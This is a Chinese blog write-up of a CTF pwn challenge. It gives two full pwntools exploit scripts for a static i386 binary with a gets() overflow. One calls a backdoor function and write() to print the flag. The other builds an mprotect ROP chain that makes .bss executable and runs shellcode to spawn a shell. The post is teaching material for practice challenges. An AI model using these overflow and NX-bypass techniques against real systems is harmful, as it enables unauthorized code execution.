• not_the_same_3dsctf_2016【简单解法和mprotect解法】


    分析

    在这里插入图片描述
    仅仅开启了栈不可执行,正常来说不能利用shellcode攻击(第二种解法破解NX),并发现该题为静态编译,查看IDA

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char v4; // [esp+Fh] [ebp-2Dh]
    
      printf((int)"b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
      gets(&v4);
      return 0;
    }
    // 并发现后门函数get_secret()
    int get_secret()
    {
      int v0; // esi
    
      v0 = fopen("flag.txt", &unk_80CF91B);
      fgets(&fl4g, 45, v0);
      return fclose(v0);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    第一种解法:常规栈溢出

    由于存在后门函数get_secret(),并且main函数有gets函数,则可利用栈溢出执行get_secret(),但后门函数仅仅读了flag.txt,因此要想办法将flag写出来,由于是静态编译,啥函数都有,IDA发现存在write函数,则利用write函数进行读写。

    tips:该题的main函数中没有push ebp,溢出main函数时不用将ebp加上

    完整代码

    from pwn import *
    elf = ELF("./not_the_same_3dsctf_2016")
    io = remote("node4.buuoj.cn",28787)
    # io = process("./not_the_same_3dsctf_2016")
    backdoor_addr = 0x080489A0
    str_flag_addr = 0x080ECA2D
    printf_addr = 0x0804F0A0
    write_addr = elf.symbols['write']
    exit_addr = elf.symbols['exit']
    print(hex(write_addr))
    # 这个main函数没有push ebp 所以不用再覆盖4字节的ebp
    payload = 0x2D * b'a' + p32(backdoor_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(str_flag_addr) + p32(45)
    io.sendline(payload)
    io.interactive()
    io.close()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    第二种解法:mprotect破除NX

    最近学的一招,在https://blog.csdn.net/qq_41696518/article/details/126559799中第一次使用
    该方法就是利用mprotect函数将一块地址变成栈可执行,并将该地址植入shellcode。

    mprotect

    int mprotect(const void *start, size_t len, int prot);
    	第一个参数填的是一个地址,是指需要进行操作的地址。
    	第二个参数是地址往后多大的长度。
    	第三个参数的是要赋予的权限。
    mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
    prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
      1)PROT_READ:表示内存段内的内容可写;
      2)PROT_WRITE:表示内存段内的内容可读;
      3)PROT_EXEC:表示内存段中的内容可执行;
      4)PROT_NONE:表示内存段中的内容根本没法访问。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    prot=7 是可读可写可执行,记住就行,类似于chmod中的7

    需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
    就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。
    通过IDA发现存在mprotect函数,则可以使用!!!

    找到一块可以植入shellcode的内存空间

    这里我看大牛都用bss,因为该地址空间存放全局变量,并且属于静态分配的空间。
    输入readelf -S not_the_same_3dsctf_2016进行查看:
    在这里插入图片描述
    由于要求的地址空间为4K的整数倍,因此后三位为000,即bss_addr = 0x80eb000

    完整代码

    from pwn import *
    elf = ELF("./not_the_same_3dsctf_2016")
    io = remote("node4.buuoj.cn",27213)
    # mprotect	.text	0806ED40	00000025	00000004	0000000C	R	.	.	.	.	.	.
    mprotect_addr = elf.symbols["mprotect"]
    # readelf -S get_started_3dsctf_2016查看
    #  [24] .bss              NOBITS          080ebf80 0a2f80 000e6c 00  WA  0   0 32
    bss_addr = 0x080eb000  # 由于要求地址为4k整数倍,因此后三位为0
    read_addr = elf.symbols['read']
    # pop3_ret = 0x08063b9b
    pop3_ret = 0x806fcf0
    payload = 0x2D * b'a' + p32(mprotect_addr) +p32(pop3_ret)+ p32(bss_addr) + p32(0x1000) + p32(0x7)
    payload += p32(read_addr)+p32(pop3_ret)+p32(0) + p32(bss_addr) + p32(0x100) + p32(bss_addr)
    io.sendline(payload)
    shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
    io.sendline(shellcode)
    io.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
  • 相关阅读:
    Docker学习——容器
    python使用elasticserch进行混合搜索构建知识库
    软件质量保证计划书(2024Word完整版)
    如何理解dotplot
    md-editor-v3 markdown编辑器
    电力智能运维管理平台:提升电力行业运营效率与安全
    NetDevOps — YANG 协议 — pyang 与 pyangbind
    肝了30天,终于整出这份Java面试九大核心专题,收割4个大厂offer
    10个索引失效的坑,你踩中几个
    Kafka学习
  • 原文地址:https://blog.csdn.net/qq_41696518/article/details/126584533